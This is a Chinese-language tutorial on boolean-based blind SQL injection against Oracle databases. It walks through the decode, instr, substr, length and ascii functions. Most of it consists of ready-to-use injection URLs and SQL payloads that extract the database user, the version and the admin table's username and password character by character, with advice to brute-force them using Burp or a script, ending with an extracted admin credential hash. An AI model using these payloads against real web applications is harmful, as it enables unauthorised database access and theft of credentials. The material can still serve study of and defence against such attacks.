Oracle基于布尔的盲注总结

0x01 decode 函数布尔盲注

decode(字段或字段的运算，值1，值2，值3）

这个函数运行的结果是，当字段或字段的运算的值等于值1时，该函数返回值2，否则返回3

当然值1，值2，值3也可以是表达式，这个函数使得某些sql语句简单了许多
使用方法：
比较大小

select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值

sign()函数根据某个值是0、正数还是负数，分别返回0、1、-1

例如：
变量1=10，变量2=20
则sign(变量1-变量2)返回-1，decode解码结果为“变量1”，达到了取较小值的目的。

1SQL> select decode(sign(10-20),-1,10,20) from dual;
2
3DECODE(SIGN(10-20),-1,10,20)
4----------------------------
5                          10

所以这个decode函数在我们注入中的应用

测试当前用户

select decode(user,'SYSTEM',1,0) from dual;

如果是system用户则返回1，不是则返回0.

1SQL> select decode(user,'SYSTEM',1,0) from dual;
2
3DECODE(USER,'SYSTEM',1,0)
4-------------------------
5                        1
6
7SQL> select decode(user,'SYS',1,0) from dual;
8
9DECODE(USER,'SYS',1,0) ---------------------- 0

注入点中decode盲注应用

判断是否是SCOTT用户

http://www.jsporcle.com/a.jsp?username=SMITH' and 1=(select decode(user,'SCOTT',1,0) from dual) --

当前也可以用字符逐个猜解，利用到substr()函数

http://www.jsporcle.com/a.jsp?username=SMITH' and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --

这里只需要替换我们需要查的内容即可 不一一列举了，比如查询Oracle版本，判断版本的字符串第一个字符是否是O

http://www.jsporcle.com/a.jsp?username=SMITH' and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),1,1),'O',1,0) from dual) --

获取当前用户

(select user from dual)

获取当前版本

(select banner from sys.v_$version where rownum=1)
获取当前admin表的帐号和密码

(select username||password from admin)
获取字符长度

select length(user) from dual --
select * from art where id=1 and 6=(select length(user) from dual) --

http://www.jsporcle.com/news.jsp?id=1 and 6=(select length(user) from dual) --

当前用户第一个字母的是否等于S 等于返回1否则返回0

1(select decode(substr(user,1,1),'S',1,0) from dual) --
2(select decode(substr(user,2,1),'Y',1,0) from dual) --
3(select decode(substr(user,3,1),'S',1,0) from dual) --
4(select decode(substr(user,4,1),'T',1,0) from dual) --
5(select decode(substr(user,5,1),'E',1,0) from dual) --
6(select decode(substr(user,6,1),'N',1,0) from dual) --

测试当前用户语句

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --

获取当前admin表的帐号和密码

1select * from art where id=1 and 1=(select decode(substr((select username||password from admin),1,1),'a',1,0) from dual)
2http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),1,1),'a',1,0) from dual)

判断字符的字符

abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.

查询第二个的时候

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),2,1),'d',1,0) from dual) --

 大概知道这些函数的用法 跑脚本爆破即可 burpsuite为例

 0x02 instr函数布尔盲注

instr函数的使用，从一个字符串中查找指定子串的位置。例如：

SQL> select instr('abcdefgh','de') position from dual;

POSITION
----------
4

从1开始算 d排第四所以返回4

盲注中的应用:

http://www.jsporcle.com/news.jsp?id=1 and 1=(instr((select user from dual),'SYS')) --

 BURP爆破用户名

0x03 通用盲注方法 逐字猜解

先获取数据长度
37=(select length(username||password) from admin)
转码测试

1http://www.jsporcle.com/news.jsp?id=1 and 37=(select length(username%7c%7cpassword) from admin)--
2select * from art where id=1 and 37=(select length(username||password) from admin);

猜解ascii码

http://www.jsporcle.com/news.jsp?id=1 and (select ascii(substr(username%7c%7cpassword,1,1)) from admin)=97 --

同样 burp或脚本爆破即可

 猜解结果:  admine10adc3949ba59abbe56e057f20f883e